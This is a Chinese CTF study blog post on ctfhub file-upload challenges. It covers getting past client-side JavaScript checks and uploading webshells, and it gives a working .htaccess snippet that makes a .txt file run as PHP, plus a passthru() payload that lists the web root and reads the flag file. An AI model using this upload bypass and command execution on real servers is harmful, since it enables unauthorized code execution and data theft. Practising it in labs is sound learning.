ctf web方向与php学习记录17之文件上传

以我目前的见识来说,文件上传就是将木马植入服务器,获取权限,拿到flag的一类题型。
这里以ctfhub的题目为例,介绍所接触题目的相关原理。

首先是前端验证,由于网上都有详细的wp,在此不过多介绍。
JavaScript 表单验证
JavaScript 可用来在数据被送往服务器前对 HTML 表单中的这些输入数据进行验证。
被 JavaScript 验证的这些典型的表单数据有:
用户是否已填写表单中的必填项目?
用户输入的邮件地址是否合法?
用户是否已输入合法的日期?
用户是否在数据域 (numeric field) 中输入了文本?

可以选择修改后缀名的方法,也可以把js禁用,然后再上传一句话木马。

接下来是.htacess
.htaccess是一个纯文本文件,存放着一些apache指令,与httpd.conf类似,但作用范围仅限当前目录。
.htaccess是在用户访问该目录下的站点时加载的,不需要重启apache服务进行载入,更灵活但更耗系统资源。

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
管理员可以通过Apache的AllowOverride指令来设置。

以上是我了解的部分知识。后续同样会更新相关知识的学习内容。
这道题目是有些难以理解,网上大部分的wp都使用蚁剑或菜刀做的,但是我尝试了许多次,上传的一句话木马都无法打开目录,于是尝试了PHP的passthru()函数,它可以直接执行外部命令,下面附上其相关知识。

passthru ( string $ command [, int & $ return_var ] ) : void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

首先,新建一个.htaccess文件

<FilesMatch "sj">  
//sj是上传passthru函数的文件的文件名,也可以设置其他文件名
 SetHandler application/x-httpd-php
</FilesMatch>

接着,新建一个sj.txt
注:只要下图没有的后缀都可以设置。 在这里插入图片描述再在sj.txt文件中分两次输入以下两行代码。

<?php 
#passthru("ls /var/www/html/"); //第一次只写这一行,找flag文件在哪里
passthru("cat /var/www/html/flag_229326633.php");//第二次读取flag
?>**

传入.htaccess文件,传入sj.txt文件
在这里插入图片描述
在传入.htaccess文件,传入修改后的sj.txt文件
f12查看flag。就这一片空白确实让我汗了一把,要不是养成了f12的习惯,我可能会把电脑砸了。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值